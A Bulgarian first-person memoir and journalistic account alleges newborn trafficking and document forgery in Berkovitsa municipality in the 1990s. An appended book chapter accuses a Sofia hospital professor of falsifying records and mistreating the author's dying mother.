Новоизбраният кмет включва в екипа си същата адвокатка, станала печално известна с трафика с новородени. Само броени дни преди това, в неофициален разговор с него, главната редакторка на печатния орган на общината споделя притесненията си около избора на новия юридически консултант на кмета и общината, като за най-неподходящ посочва въпросната адвокатка. Уви! Именно тя отпочва „делата“ на общината. За кратък срок след пристигането си тя внася със „съветите“ си хаос в работата на общинското звено, занимаващо се с новородените. Отново същата главна редакторка предупреждава кмета, че с действията си адвокатката „разчиства лични сметки“, което фактически разстройва работата на цяло звено в структурите на общинска администрация.
Но новият кмет е в еуфория от постигнатата изборна победа, „приобщен“ и устремен впоследствие към откриващия се нов хоризонт за облагодетелстване, неотклонно следва съветите на своя юрис-консулт, които, разбира се, го устройват на сто процента.
С новия мандат започва и ново развихряне на скандала с бебетата. На 15 май в гр. Вършец, в домашно мазе /по признанията на дядото на новороденото/ се ражда извънбрачно дете, което е докарано впоследствие заедно с майката в Районната болница поради влошеното здравословно състояние на родилката. Необходимият документ „Съобщение за раждане“, изпратен от родилното отделение на болницата, пристига в законоустановения срок в съответната служба на Общинска администрация с подпис на майката, подпис и печат от здравното заведение. В него е отбелязано, забележете, че детето е „родено в болницата в Берковица“, в „присъствието на лекар и акушерка!“ В графата „Местожителство“ и „Местоживеене“ е отбелязано гр. Монтана, Дом „Майка и дете“, тъй като майката е решила да се откаже от детето. След като тя представя „Декларация за отказ“ от детето си, заверена нотариално в Районен съд, служителката в съответния отдел издава „Акт за раждане“, който майката получава чрез положен от нея подпис в Актовата книга. Привидно дотук всичко е наред. Впоследствие служители от АГО на същата болница съобщават на общинските служители, че този адрес, посочен в болничния документ за пребиваването на детето, не е верен. От кметството изискват нов документ с вярно посочен адрес за местонахождението на детето след изписването му от родилно отделение.
След публикация в местната преса от болницата изпращат втори документ с подпис и печат и с подписа на майката, в който отново е отбелязано раждането на детето в „здравно заведение“/!/ и „в присъствие на лекар и акушерка“/!/, с допълнение в графата за местожителство и местоживеене – освен Дом „Майка и дете“- Монтана, е „допълнено“, че „на 16 май /забележете! – светкавично, веднага на следващия ден след раждането му!/ детето е преведено в НИК-ВМИ-София, клиника по неонатология!
След скандалното разкритие, че детето не е родено в болницата и не „в присъствие на лекар и акушерка“, завеждащият Родилно отделение, /нашият познайник от сензационния „разговор“ с „тайната“ за местонахождението на вече познатото ни друго извънбрачно родено бебе/ стъкмява поредната си гавра с държавните служители, както и със своите работодатели в болницата, като изпраща трето/!/ пародийно „Съобщение за раждане“, в което не посочва нито името на майката, нито местоживеене и местожителство на новороденото, но пък с любопитна „корекция“ – детето този път е родено „у дома“ /но не беше в Берковица, както е отбелязано, а в гр. Вършец!/ и „без присъствие“ на лекар и акушерка“!…И полага собствения си подпис като „Зав. АГО“!
След настоятелно изискване от болницата на документ с пълно и вярно съдържание, в който се посочва действителното местонахождение, където ще бъде изпратено детето след временния му болничен престой в неонатологичната клиника в столицата, един от отговорите е: „То може и да умре!“
Тези нагли, цинични и безотговорни действия, почитаеми Читателю, са неизменната част от престъпната технология за трафик на деца в България, която се вихреше в средата на 90-те!
…Работата в кметството е блокирана, респ. и на служба „ЕСГРАОН“ в областния град, където по закон се придвижва документа на отказаното новородено. За възникналата неразрешима ситуация служителката уведомява устно кмета. Нареденото от него е да се подготви докладна до ръководителя на болницата, в която да бъде „помолен“ служителите му да изпълнят задълженията си, оформяйки точно и ясно документа на новороденото. Нареждането е изпълнено. За случая вече са уведомени и ресорния на отдела, и новоназначения/!/ юрис-консулт, който „съветва“ служителите „да не се занимават повече със случая“, а да подадат сигнал до прокуратурата. Играта наистина загрубява и участниците в този цирк вече не усещат, че губят контрол и излизат „извън релси“! „Ресорният“ също изиграва „ролята“ си и също „съветва“ служителите – да не сигнализират, а да предоставят тази „възможност“ на самия юрис-консулт… „Верни“ и „предани“ на кмета подчинени, достойни за възхищение!
Очевидно и най-вече възмутително е, че няма кой да разреши въпроса с документацията. Служителката отново решава да информира устно кмета, но той умело избягва среща с нея, като „обещава“ такава, но до края на работното време не се появява в служебния си кабинет. И тя решава да внесе писмено докладна за неразрешимия казус, в която предупреждава работодателя си, че ако не се намеси лично за разрешаване на проблема с новороденото, с което ще предотврати опасността от изчезването му, ще сигнализира най-висшите инстанции на съдебната система! С този акт настъпва и кулминацията. „Бунтът“ на служителката провокира всички, участвали или съглашателствали в схемата за трафика. И е назидана публично за „дързостта“ си. На специално организирана от кмета „среща“ между служители в общинска администрация и ръководството на болницата се разиграва пореден цирк, в което юристът на общината преобръща наопаки изразеното становище за сигнализиране на прокуратурата и обвинява в „бездействие“/!/ служителите в оторизирания за обработка на документите отдел в общината. Парадокс – престъплението е факт, но истината е поругана, а виновни са тези, които преследват тази истина! А толкова е просто обяснението – никой не може да се осмели да посегне на един печеливш „бизнес“, толкова печеливш, че играчите с цената на всичко го бранят докрай.
…Следва последен, четвърти/!/рунд – четвърти документ за едно и също новородено, в което вече са отбелязани всички изискващи се от закона данни, но този път без подпис на майката. За сметка на него пък фигурират два подписа от родилно отделение – и на завеждащия, и на акушерка!“
…В онзи период битката за всяко извънбрачно родено дете, водена от една обикновена и наивна служителка на най-ниското стъпало на държавната йерархия, атакувана от всички институции за поведението си, беше с предизвестена, тежка загуба. Но тази война и до днес не е спечелена от държавата. Защото войната за съхранение на остатъците от морал и човеколюбие може да бъде спечелена от личности, чиято свещена мисия е именно тази победа! А такива вече липсват. Или са на доизживяване.
А това вече е проблем за цялата ни нация!…
И тук е мястото да споменем следващия „главен герой“ в нашата история, чиито действия през 2009 г. довеждат до прословутия телефонен разговор със секретаря на Общинска администрация в Берковица. В този период политическите страсти на местно ниво са нагорещени до краен предел. Бивш общински съветник и бивш кандидат за кмет трудно преживява срива в постигнатата на някакво ниво политическа кариера и започва повсеместни атаки към местните управляващи. Възползвайки се от определени „връзки“ в медиите и съдебната система, с компромати „руши“ авторитета на местната власт – кмет и общински съветници. Опонентът сериозно застрашава устоите им и властимащите решават да се бранят с всякакви средства.
И изведнъж като в изневиделица, някой се „сеща“, че преди доста години този субект, юрист по образование и професия, е същият, участвал с действията си, макар и в сянка /и не само!/, в защитата /и не само!/ на трафикантите на новородени бебета! Същият тогава прави опит да изкупи от местна книжарница всички екземпляри на книга, официално оповестила трафика с новородени в града. И пак същият изкупува наведнъж стотици броеве на областно печатно издание с публикации за случващото се около неговите приятели-„търговци“!
И управляващите разчитат именно на тези факти. Последен отчаян опит за самоотбрана, за спасяване на властта, службиците и парите е „провокацията“ към общинската служителка, уволнена някога дисциплинарно поради атакуване на действията и престъпленията на всички гореспоменати „главни герои“! Тя може да им бъде полезна, като предприеме собствена атака и „припомни“ на обществото старите „провинения“ на опонента им.
И…както би казал Милан Революцията, тази служителка „бях аз“!
…Зимата на 2009 г. се грижех за умиращата ми майка в УМБАЛ „Александровска“ в столицата. Бях прекратила в продължение на месеци всички контакти с външния свят и телефонното позвъняване тогава на личност извън най-тясното ми обкръжение ме изненада. Обаждаше се секретарят на Общинска администрация –Берковица. След светкавично „резюме“ на проблема, не без доза притеснение, достига и до същността – не мога ли да „помогна“ по някакъв начин! Нали преди няколко години „съм писала нещо против тях!“…
Трагедията на майка ми и моята собствена бяха толкова покъртителни, че тогава бях изгубила способността да мисля и разсъждавам трезво. Но това обаждане ме извади от вегетирането ми, изуми ме, преобърна ми представите за нищожните, но все пак остатъци от етика, морал, почтеност, достойнство! Секретарят, може би използван като нечия чужда, удобна маша, едва ли съзнаваше на каква гавра със собствената си личност се беше подложил. Лично аз дълбоко се надявам да не го е осъзнавал, зашото в противен случай демонстрираше по най-скандален начин и доказваше на практика безочието, наглостта, лицемерието, аморалността, властолюбието, отмъстителността на властимащите ни днес!
Секретарят, натоварен с тази непочтена за моите представи мисия, нямаше как да знае, че искаше от мен нещо, което моята съвест, моето възпитание, чувството ми за лично достойнство, което отстоявам цял живот и си понасям последиците от това, не биха ми позволили подобно поведение. Защото изискваха от мен съпричастност към действията на тотално деградирала ценностна система, съхранила своята безпаметност. Бях в състояние да „атакувам“ мои лични бивши /а вероятно и настоящи/ врагове, само ако това го изискваше собствената ми личност, собствените ми необходимости.
Отговорът ми беше лаконичен:
„Г-н секретар, явно Вие пропускате нещо много съществено – едно от лицата, участвали в онази схема, за която ме молите отново да „пиша“ и което преди години трябваше да бъде зад решетките, в момента е Ваш юрис-консулт“!
С тази неочаквана за секретаря „констатация“ разговорът по телефона приключи. Но събеседникът ми може да бъде оневинен донякъде. Не поради наивитет, а поради слабата си информираност. Не знаеше още един факт: Прекият му началник понастоящем беше нарочният „свидетел“ на бившия градоначалник, и двамата участвали в сценария по моето дисциплинарно уволнение през лятото на 1997 г. поради „намесата“ ми в трафика с новородени!
Година и половина по-късно, в деня на празника на Берковица и президентското посещение, минавайки край мен, г-н Секретарят просто „не ме позна“!
Е…оневинен е, защото „поръчителят“ беше друг! А манипулираният винаги е достоен за съжаление!
ПРИЛОЖЕНИЕ
Из „Veneficium Bulgaricus – Сага за Виктория“
ГЛАВА ЧЕТВЪРТА
* * *
…Драмите около майка ми бяха толкова шокиращи, че последна грижа бяха някакви документи. И лекарите прекрасно са знаели това. Преди да напуснем болницата, получаваме единствената епикриза, в която мимоходом прочитам, че пациентката е постъпила „за втори път“/!/ Засега от документ за „първи прием“ няма и следа. Но не обърнах внимание на тази евентуална, за мен „техническа грешка“. А авторите се бяха подсигурили – епикризата от „втория прием“ си имаше и изходящ номер – 8104/877!
…Наистина неведоми са пътищата на съдбата. Кой е предполагал, че същата пациентка ще се върне почти веднага обратно в същата болница, в същата клиника и при невероятния лекарски екип? И от този момент стартират замислите по изфабрикуване на болнична документация, чиято единствена цел е да оправдае действията на лекуващите в източване на НЗОК. Колко ли време и интелектуална енергия са похабили за това?
От деня на постъпването на Виктория в „Александровска“ в продължение на шест дена не се предприемат никакви реални стъпки за лечението й. Назначените консултации с отделни специалисти се провалят една след друга. Основна причина за това са „служебни ангажименти“! Твърде любопитно е дали консултациите и прегледите на пациентите се вместват в тези „ангажименти“! Те са причина както майка ми, така и почти всички останали пациенти да бъдат разигравани и разкарвани из необятните пространства в дворовете на най-голямото в България болнично заведение, за да ги „консултират“ специалисти и да извършват назначените им изследвания. Такъв почти двукилометров круиз на болната ми майка до кабинет за ЕКГ /електрокардиограма/ и обратно до болничната стая й гарантира и тежка пневмония, която се оказа решаваща за очакващите я мъчения. Симптомите й започнаха светкавично, а й предстоеше несъмнено сложна и тежка хирургическа интервенция, която само Бог и съмишлениците на професора знаят дали се вмества и оправдава основнатахцел, която си поставя хирургът – хемостаза /спиране на кървенето/.
Упоритата кашлица на майка ми не спира. Но никой в болницата не обръща внимание на този проблем. Тук да не е клиника за белодробни болести! Очевидно авторитетът на професора не е респектиращият, който да задължи специалистите да изпълнят своя хуманен и лекарски дълг. Назначената консултация на 27 март със специалист-пулмолог не се осъществява. Причината е ясна и проста – „не дойде консултанта“ – отбелязват в листа за „наблюдение на болния“. На 30 март отново е назначена консултация с пулмолог. Отчетено е, че на същата дата тя е проведена, което не отговаря на истината. Фактите го доказват по-долу. Но за сметка на този „пропуск“ отново след десетки настойчиви молби към лекуващия професор, най-сетне се явява и интернистка. Но за наша изненада тя провежда „консултацията“ с болната единствено чрез диалог и то на почтително разстояние от нея. Може би грешим! Сигурно това е най-модерният и ефикасен метод в съвременната медицина.
Преди да подложат пациентката на пагубната туморна транс-уретрална резекция /Ту ТУР/ се предполага, или поне се изисква от правилата в медицината, да се извършат всички необходими и задължителни изследвания. Бяха ли извършени такива?
При постъпване в болницата рентгенографията на белите дробове на Виктория констатира липса на огнищни промени. Благодарение на провокираната чрез круиза на майка ми пневмония и последвалото нехайство и безотговорност на лекарския екип, непосредствено преди резекцията, следващото образно изследване, искането за което е подписано лично от лекуващия професор /на което никой не обръща внимание!/, отбелязва промяна в първоначалната констатация – наличие на „плеврални усилвания“ и „излив“. Каква друга би била причината за тази промяна, ако не безхаберието на лекарите? Резултатът от него вероятно щеше да бъде още по-драматичен, ако не бях попаднала съвсем случайно на дежурен в отделението анестезиолог, с когото споделих проблема на майка ми. Очевидно той беше наясно с предстоящата ТУР и съвсем в прав текст ми довери, че не споделя това решение на професора, нито вярва в успешния изход на манипулацията.
Беше моя фатална грешка, че тогава не вникнах по-задълбочено в думите му. Именно той прояви определена загриженост и съчувствие към изразеното мое безпокойство за пневмонията на майка ми и по своему ме „консултира“! Странно е, че единствено той се съобрази с доказано от медицинската наука твърдение, че вследствие на белодробната инфекция тя неминуемо достига до кръвния ток и до бъбреците, като им гарантира още едно тежко изпитание преди да унищожат функционирането им с транс-уретралната резекция! На хвърчащ лист, който пазя в документацията на Виктория, анестезиологът „изписа“ антибиотик „Azatril“, който трябваше за два дни/!/, непосредствено преди резекцията, да „излекува“ пневмонията на майка ми. Несъмнено подобна бърза и агресивна атака на сърцето беше погрешна и нехуманна. Лекарят е знаел това. Може би затова не получих надлежно попълнена от лекаря рецепта с оправданието, че „няма право“ на това. Такова „право“ със сигурност имаше консултиращата от разстояние интернистка, но тя съвсем не се възползва от него. Да не говорим пък за „дълга“ на прословутия „пулмолог“! Оставаше да разчитам единствено на човечността на млада фармацевтка, която с определен за службата си риск ми предостави без рецепта антибиотика. А ако беше отказала? И тогава нищо нямаше да спре професора да качи на операционната маса пациентка с очевадна пневмония!
На 27 март, преди агресивната медикаментозна атака на сърцето, пациентката е „хемодинамично стабилна“, с „ритмична сърдечна дейност“. На 31 март вкарват майка ми в операционната. Впоследствие в документа за „наблюдение на болния“ с дата 31 март присъстваща на нечовешкото зрелище лекарка, оказала се от малкото добросъвестни в тази дружина, а може би и безпокояща се в по-голяма степен за собствената си репутация, но със сигурност по-слаба сребролюбка, отбелязва:
„При поставяне на операционната маса болната е с аритмия, камерни екстрасистоли. За момента не подлежи на обща /спинална/ анестезия. След консултация с кардиолог и съответно /…/ може да се обсъди за подлежане на анестезия. С молба за Ro-графия pulmo et cor. С болед. перист. кашлица. Да се повтори ЛКК и…“
Нечувано, нали? Но чудовищното, престъпното е друго. Непосредствено преди тази гавра с болната в т. н. „Предоперативна епикриза“, нечия ръка е отбелязала следното:
„Ro gr/sc pulmo et cor – да“/!/
„КАТ – да“/!/
„Консултация с интернист – да“/!/
„Предлага се за оперативно лечение“/!/
/И може би най-безобидното тук, но изрично отбелязаното е, че пациентката „постъпва за втори път.“/!/ След като до този момент тя никога не е напускала болницата и официално не е била изпиствана./
В този ден някой трябваше задължително да зададе и изисква отговор на неотложните въпроси:
Преди или след качването на пациентката на операционната маса е била изготвена предоперативната епикриза с отбелязаните в нея изследвания?
Документът действителен ли е, или е напълно формално изготвен, след като след отложената – т. е. „пропадналата“ манипулация анестезиоложката дава мнения и становища, които според предоперативната епикриза са били извършени и пациентката се предлага за операция?
Ако необходимите изследвания са извършени предварително, дотолкова ли се разминават и си противоречат знанията и схващанията за научните методи и принципи в медицината на двама лекари-специалисти анестезиолози, че единият казва „Да“, а другият – категорично „Не!“? Ако наистина е така, всички ни очаква черно бъдеще.
Бяха ли налице реални изследвания, имаше ли легитимна документация, на която да разчитат хирурзите, чие мнение беше зачетено и чие – не?
Кой е отговорният, или по-скоро безотговорният, който подложи на тежко изпитание и медицинската наука, и майка ми, и някой почтен свой колега?
Безотговорни, пезпардонни, незачитащи нито клетва, нито дълг, нито човешко същество! Някой се е самозабравил в стремежа да реализира на всяка цена и веднага още една клинична пътека. /И още една, и още една!/ След този зрелищен провал лекуващият професор роптае, недоволен от реакцията на анестезиоложката по този „дребен“ проблем, а всъщност единствената, поне за момента спасила майка ми от смърт още на операционната маса.
На гореспоменатия документ под становището на анестезиоложката дава своето мнение и кардиолог, който констатира:
„пациентка с хипертонична болест и екстрасистолна аритмия, от седмица не си пие лекарствата „диротон“ и „тертензиф“ /а през тази една седмица тя е в ръцете и „грижите“ на същите лекари в „Александровска“!/…С мнение за лечение с „Betaloc Zoc“.
И забележете – всички тези заключения, мнения и препоръки, цялата тази „загриженост“ се проявяват след провалената резекция!
Нямам представа дали впоследствие някой от лекарите е обърнал внимание и се е съобразил с указанията на кардиолога и анестезиоложката, но препоръчаното лекарство в деня на „опита“ 31 март е изписано на рецептурна бланка едва на 7 април, втория ден от второто/реално/ постъпване на майка ми в същото отделение, а реализираният този път втори опит за ТУР е веднага на следващия ден – 1 април!
Но и от това никой не се интересува. Едва след скандалния провал в медицински документ са отбелязани консултация с кардиолог, ЕКГ, ЛКК, Ro-gr. Pulmo et cor, проба с „Ceftrin“, фигурира „Fragmin“, „Dexofen“, витамин „С“.
За да успокои все пак съвестта си, професорът решава /едва преди втория опит/ да изпише на пациентката антибиотика „Monural“ /„Fosfomycin“/. Изписаният за еднократен прием медикамент е предназначен за лечение на „неусложнени инфекции/!/ на долните пикочни пътища и профилактика при хирургични процедури“. Препоръчителни преди транс-уретрални хирургични процедури са две дози – първата се приема орално три часа преди операцията, втората – 25 часа след нея. Лекарството е „назначено“, но не и „изписано“ с рецептурна бланка! Такава ни се предоставя едва на 3-ти април – два дена след хирургичната интервенция на пациентката! За втора доза никой не споменава.
Професорът нервничи, нетърпелив е около възможността да изконсумира клиничната пътека. И прави с майка ми експеримент след експеримент, безсърдечно, безцеремонно, хладнокръвно, като с жив, ненужен плъх! Няма кой да охлади „ентусиазма“ му и да го върне в реалността. След всички препятствия той най-накрая е изпълнил намеренията си. Но в изфабрикуваната „История на заболяването“ след мнимия „втори“ прием нехайството е толкова голямо, че липсват каквито и да е данни, изискващи се в документа относно изхода от хоспитализацията. Не се знае болният дали е „оздравял“, дали е „с подобрение“, дали е „без промяна“ или „с влошаване“. Слава Богу, че и квадратчето, съответстващо на „починал“, засега е празно! Но и без това рискът не е съществен – поредната възрастна „бройка“ можеше да си отиде, просто защото „не е издържала на операцията“! Но както вече стана ясно, завидна доза старание пък е вложено в редактиране на епикризите на Виктория.
Дали наистина това поведение е нехайство, или са умишлено направени пропуски? Все пак е необходим документ, целящ да оправдае един несъществуващ прием на пациент. И съвсем логично е в него да не фигурира ничий подпис. Страшното за майка ми беше /което може да сполети всеки българин, потенциален пациент/, че въпреки ясно осъзнатата от лекарите невъзможност в рамките само на една нощ да бъдат елиминирани всички проблеми, довели до отлагането на една операция – хипертоничната болест, екстрасистолната аритмия, упорита кашлица и пневмония, те настървено продължават веднага пъкленото си дело! Кой го е грижа?
Елиминирани или не, трескава възбуда владее професора в часовете между двете интервенции – пропадналата и предстоящата. Ако тогава бяхме с бистър ум, нямаше как да ни убегне и да не ни безпокои това нетърпение, този стремеж на всяка цена да положи отново и веднага пациентката на операционната маса, престъпно игнорирайки всички реални причини за отлагането и рисковете за живота й от подобно съвършено безотговорно решение…
Под № 330, след една кошмарна нощ за шокираната Виктория и близките й, адът настъпва отново. В затрогващо единомислие с част от екипа си професорът чрез втори опит прави зрелищна операция. Дава тон на касапницата и без да се интересува от крайния резултат, преотстъпва скалпела на свой любопитен и любознателен по-млад колега. Нали все пак всички трябва да се „учат“! Нали науката трябва да напредва, нали такава е преди всичко и целта на този експеримент! Оправдан или не от медицинска гледна точка /от хуманна – категорично Не!/, с него ученият очаква да са приключили ангажиментите му към Виктория. По всяка вероятност научният му труд ще бъде обогатен с нова, актуална информация. Важното е, че пациентката е изписана в „добро общо състояние“, „афебрилна“, дори нещо повече – „даден й е телефон за връзка“! Но никой не дава никакви съвети, препоръки, указания за последващи и задължителни действия и грижи за една онкоболна!
Виктория постъпва в УМБАЛ „Александровска“ на 25-ти март и е изписана на 3-ти април. Както вече е известно, единствената епикриза, която получаваме в този ден от лекарите, е с текст:
„…приета на 31.03.09г., изписана на 03.04.09г…Постъпва за втори /!/ път в клиниката по повод микционно-дизурични смущения и епизоди на макроскопска хематурия.“
Напълно е игнориран първият прием. Епикризата от него с „измислената“ диагноза не трябваше да става наше достояние и ние нямаше как да научим за нея. На това е разчитал и г-н професорът!Уви! А и какво невежество допускам от моя страна да предполагам, че всичко това е само и единствено неволна грешка на човек от екипа или на самия професор. А може би са очаквали майка ми да се върне отново при тях, имайки предвид положените за нея медицински грижи! За да й връчат епикризата от първия прием! Със сигурност професорът би заложил и най-скъпото си това да не се случва. Но за негово нещастие – случи се!
В хаоса е допуснат много съществен пропуск, който отново документално компрометира авторите. В листа за „наблюдение на болния“ с изх. № 7655/834, който успях да съхраня, всички изследвания и манипулации логично следват на една и съща страница от деня на приемането 25-ти март до 1-ви април включително. Същото се отнася и за т. н. „температулен лист“ на пациентката. В него без прекъсване са отбелязани температурните амплитуди в състоянието на В иктория. И в листа фигурира едно единствено, отбелязано писмено „изписва се“ под дата 3-ти април!
Любопитно е дали изискванията за оформяне на болничната документация допускат на един и същ документ с изх. № 7655/834 да се попълват данни и изследвания на пациент, приет за „втори път“ в болницата и със съвършено различен изодящ № 8104/877? И като капак на всичко в единствения температурен лист е отбелязана стая №7, с легло №2, които сякаш съвсем случайно фигурират и в документа за мнимия „втори“ прием!
Но срамът за лекарския екип и преди всичко за професора нямаше да е пълен, ако не беше попълнен още един много важен документ, с който на пръв поглед авторите като че ли се подсигуряват и „бетонират“ законосъобразността на действията си – декларация „от името“ на Виктория, потвърждаваща, че един от лекарите й „предлага“ да бъде хоспитализирана на 31-ви март 2009 г.! Но нали вече е хоспитализирана!…Дявол да го вземе, нали за да има нов прием, трябва да има и изписване!…Скритата първоначално от нас епикриза с измислената диагноза ще свърши перфектно тази работа…Лекарят не се подписва, но вписва своя „УИН“! Може би неволно! А дали Виктория е знаела за какво полага своя подпис? Дали е автентичен? Може би ще узнаем в бъдещето!
Върху епикризата и за мнимия, и за реалния прием фигурират подписите на мастит професор, със сигурност врял и кипял в казана на беззаконието, както и на млад, но твърде сервилен, за жалост, лекар, който при други обстоятелства би се оказал изкупителната жертва на професора. Нему се падна незавидната участ да излее доста пот, хвърляйки се пред очите ми от кабинет в кабинет, като уплашена лястовица в неприветливо, тясно и задушно хале, докато успее да „синхронизира“ действията на колегите си, респ. да коригира и „уточни“ номерата на клиничните пътеки и текстовете в предоставените няколко на брой и с разминаващо се съдържание за един и същ прием епикризи, но всичките „оригинали“! И верният млад колега се справя перфектно. Но едва ли осъзнал риска за бъдещата си репутация на евентуално почитан и достоен лекар!
Станах неволен свидетел и бях изумена от тази срамна и жалка гонка, с която лекарите като че ли преследваха, и то упорито, собствените си кошмари. Когато виждат, че ги наблюдавам, скупчени до полуотворената врата на професорския кабинет по време на напрегнатия им разговор, може би спешен „консилиум“, но не за състоянието на пациентката, а за „здравословното състояние“ на документите, мигом я затварят.
„Гузен негонен бяга“ – е казал мъдрият ни народ…Сякаш аз от разстояние „подслушвах“ и бях в състояние да „чуя“ необичайния им разговор!
За изфабрикувания „трети прием“ получаваме две епикризи с различна редакция. Диагнозата на единия вариант беше допълнена с текст: „Collica renalis“! Анамнезата твърдеше: „Не се оплаква от болки!“ Но нали все нещо трябваше да свършат лекарите при приема на тази пациентка и то, забележете – „спешно“ насочена тук от „Спешен кабинет“ на „Александровска“. И независимо че според анамнезата Виктория не се оплаква от болки, единствената грижа според този вариант на епикризата се оказва „…спазмолитична и аналгетична терапия“, след което „болките намаляха“! – Нелогично, жалко, чудовищно!
При втория вариант на епикризата за „третия прием“ липсва „Колика реналис“! Тук няма „болки“, няма „спазмолитична и аналгетична терапия“. Но пък е добавен много внимателно редактиран текст, според който „след щателно почистване на оперативното поле“ отново е извършена „уретроцистоскопия“! След което отново прецизно е „поставен трипътен катетър“ и „включена промивна система“! И въпреки че майка ми вече беше „пътник“, „следоперативният период“ е „гладък“, а пациентката „се изписва“ „в добро общо състояние“!
А във ВМА, където Виктория постъпва полужив труп същия ден, „доброто общо състояние“ от „Александровска“ е характеризирано: „…увредено общо състояние…обща отпадналост до безсилие, коремни болки и гадене, невъзможност да уринира, болезненост двустранно в лумбалната област, разстройство – диарийни изхождания,…отслабено везикуларно дишане, отслабени сърдечни тонове, двустранна хидронефроза!“
…На мама й оставаха няколко дни живот, които й подари един военен лекар.
Следва продължение!
Кратък речник на медицинските термини
коагулорум /коагулум/ – съсирек; маса от съсирена кръв, каквато се образува при кръвосъсирване; кръвосъсирекът е като запушалка за кръвоносния съд;
хемодинамично стабилна /хемодинамика/ – движение на кръвта в сърдечносъдовата система съгласно силите и законите, по които кръвообръщението функционира;
пулмолог – специалист по белодробни болести;
спазмолитична и аналгетична /терапия/ – с обезболяващ ефект;
„колика реналис“- болки в бъбреците;
двустранна хидронефроза – симптомокомплекс, включващ прогресивно патологично разширение на пиелокаликсната система и атрофия на бъбречния паренхим, настъпващи след обструкция по хода на уретера с последващо частично или пълно спиране оттока на урина; ако пречката е в нивото на пикочния мехур или уретрата, може да се стигне до двустранна хидронефроза;
Ще започна историята с един празник – 8 септември, ден на гр. Берковица. Годината е 2010. На посещение в Берковица е президентът на РБ Георги Първанов. Жестът към местните управляващи и населението е повече от трогателен. Домакините са се постарали в сценария. След година предстоят нови избори, все пак. Има всичко: “Луна-парк”, знамена, балони, музика, павилиони на гостуващи търговци с лакомства и невероятни “подаръци”. Организацията е перфектна – на площад “Йордан Радичков” е стълпотворение от любопитен и развеселен народ, жадуващ зрелище. И го получават: приветствия, награди, почести, песни и танци…колко му трябва на народа?
Последен има думата г-н президента. Ловък и опитен политик, безупречно владеещ хватките на дипломацията, без значителни усилия успява да разнежи публиката. Лесно се печели симпатия в тези български ширини, стига да провокираш изчезващото чувство за значимост, за законна гордост от постиженията на твой почитан земляк и…президентът припомня емблематичи мисли на мъдреца-земляк Йордан Радичков. Всички са омилостивени, трогнати и доволни!…Не, не всички! Помежду си присъстващите реагират по своему – никой не им дава думата да поставят на президента тревожещи ги и неотложни въпроси за пенсиите, за безработицата, най-голяма в страната, за бедността, за “свършека” на родния край. И…както би казал Милан Революцията - и аз бях там.
Имах намерение да се възползвам от гостуването на президента и да му връча в писмен вид една от технологиите за кражба от държавата. Не че той не ги познаваше! Постарах се доста, но от първи опит не успях. Темпото, с което първенецът “разглеждаше” в ОНЧ “Иван Вазов” изложбата на местни творци и занаятчии, както и “постиженията” в Берковско, беше вихрено, а “интересът” на президента беше повече от протоколен. Но децата сияеха и очакваха похвали. Нали е висока чест самият президент да спре пред теб и да те заговори!
Междувременно се случи нещо любопитно и изненадващо, касаещо мен самата. Двоумейки се дали да поема по освободеното от президентската охрана място пред читалищната сграда в посока към президентската свита, виждам идващия към мен секретар на Общинска администрация. В момента, в който бях готова да поздравя, той преминава край мен, но…не ме познава! С този субект се познавахме отдавна, години поред бяхме колеги в общинска администрация, а и преди постъпването му там се познавахме като “съграждани”. Нито ме “позна”, нито поздрави! Поведението му ме изненада, тъй като в минало време той сполучливо и навсякъде демонстрираше “открит” характер, дружелюбност и контактност, с една дума – умееше да общува с всички. Макар че подобни качества не са типични за един бивш военен.
Този на пръв поглед съвсем незначителен епизод в деня на празника на Берковица си има и своята предистория, както и логично обяснение. Никак не беше трудно да се досетя, че подтекстът в поведението на г-н секретаря се коренеше дълбоко в минали събития и най-вече в един необичаен телефонен разговор, който той провежда с мен през зимата на 2009 г. Но за да стигнем до него, ще се случат поредица главозамайващи събития, малка част от които вече съм описала през 2002 г.
Участниците в тях присъстват и в миналото, и в настоящето. Предрешават и диктуват събития и съдби, “пишейки” с делата си една позорна история за родния си край.
Предисторията
Как се търгува с извънбрачни новородени бебета?
Късата памет и безотговорност на държавните институции
Тук ще стане въпрос за абсурдната технология, с която се продаваха извънбрачно родени деца без съгласието на собствените им майки; раждането и отказването от деца без знанието на собствените им бащи; за престъпност с чудовишен облик; за престъпната и консуматорска природа на хора, оторизирани да защитават закона и самите нас; за подлостта и чувството за безнаказаност у истински престъпници, насочващи оръжие срещу всеки, дръзнал да защити интересите им.
До болка познато! Стартира в началото на жадувания “преход” към нов, “демократичен подем”. Но и днес съпътстващо живота, сънищата, мечтите ни.
Днес, някъде в столицата, упражнява професията си “акушер-гинеколог”, бивш служител на болница в гр. Лом – изгонен оттам, бивш служител и на болница в гр. Берковица – изгонен и оттам с дисциплинарно уволнение. И дано само “бивш” търговец на бебета! Вероятно става ясно, че този “бивш” е лишен по повелята на закон да упражнява “легално” професията си. Но както многократно вече е доказано, в страна на абсурди като нашата няма невъзможни неща. Този лекар е сред главните герои в настоящата история.
Властите в гр. Берковица го приютяват безапелационно и гинекологът започва да си разиграва коня, години несмущаван от никого. Благодарение на него в Берковица идват, за да раждат децата си наивни момичета от Лом и областта, на които специалистът предлага офертите си за гинекологична и родилна помощ. Каналът Лом – Берковица става постоянен, сигурен и най-важното – доходоносен. Но за девойките този “жест” е благороден, защото ги спасява от бъдещо унижение, презрение и пренебрежение в обществото, поне според философията на родителите им. Но героят-“благодетел” се заиграва до такава степен, че се самозабравя. Една след друга девойките идват и си отиват, оставяйки след себе си по един нещастен живот, чието бъдеще определят безскрупулни и необезпокоявани до този момент от никого, личности.
Другият главен герой в историята с бебетата понастоящем е юрис-консулт в община Берковица! Но…”нищо не е забравено и никой не е забравен”, макар че тези думи овенчават най-трагичния период в съдбата на народа ни – баташкото клане! Е, тук не става дума за клане, само за търговия с жива плът! С детска плът!
Адвокатката е поела отговорна функция – тя ще движи и ръководи“търговското разпределение” на извънбрачните новородени в качеството си на “близка” на гинеколога. Двамата се утвърждават като прекрасен тандем, чиито действия са добре обмислени и синхронизирани.
Властта не си “мърси” ръцете
След констатираното фалшифициране на пристигащи от Родилно отделение на берковската болница документи на новородени, служителка в съответния отдел на общинска администрация, оформяща Актовете за раждане на бебетата, преценява, че е задължена и в правото си да сигнализира на по-висшестоящи органи и институции. Докладва на прекия си ръководител, тогава и. д. кмет на общината, съдебните власти и прокуратурата. Реакция – никаква. Но твърде съмнително и безпрепятствено новородените започват да се препращат и приемат от различни Домове за деца, без предоставяне на ясна и точна информация за бъдещата им съдба. За едно и също дете постъпват противоречиви сведения – и “осиновено , и “неосиновено”.
